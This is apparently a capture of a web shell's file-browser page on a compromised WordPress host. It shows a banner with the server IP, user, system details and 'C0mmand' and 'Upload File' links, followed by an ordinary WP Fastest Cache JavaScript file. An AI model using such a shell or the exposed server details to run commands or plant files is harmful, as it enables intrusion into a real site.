|
Server IP : 10.106.20.8 / Your IP : 216.73.216.148 Web Server : Apache System : Linux webm008.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64 User : sixiemesrc ( 611999) PHP Version : 8.0.30 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/sixiemesrc/new/wp-content/languages/../plugins/wp-fastest-cache/js/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
if(window.attachEvent) {
window.attachEvent('onload', wpfc_column_button_action);
} else {
if(window.onload) {
var curronload_1 = window.onload;
var newonload_1 = function(evt) {
curronload_1(evt);
wpfc_column_button_action(evt);
};
window.onload = newonload_1;
} else {
window.onload = wpfc_column_button_action;
}
}
function wpfc_column_button_action(){
jQuery(document).ready(function(){
jQuery("a[id^='wpfc-clear-cache-link']").click(function(e){
var post_id = jQuery(e.target).attr("data-id");
var nonce = jQuery(e.target).attr("data-nonce");
jQuery("#wpfc-clear-cache-link-" + post_id).css('cursor', 'wait');
jQuery.ajax({
type: 'GET',
url: ajaxurl,
data : {"action": "wpfc_clear_cache_column", "id" : post_id, "nonce" : nonce},
dataType : "json",
cache: false,
success: function(data){
jQuery("#wpfc-clear-cache-link-" + post_id).css('cursor', 'pointer');
if(typeof data.success != "undefined" && data.success == true){
//
}else{
alert("Clear Cache Error");
}
}
});
return false;
});
});
}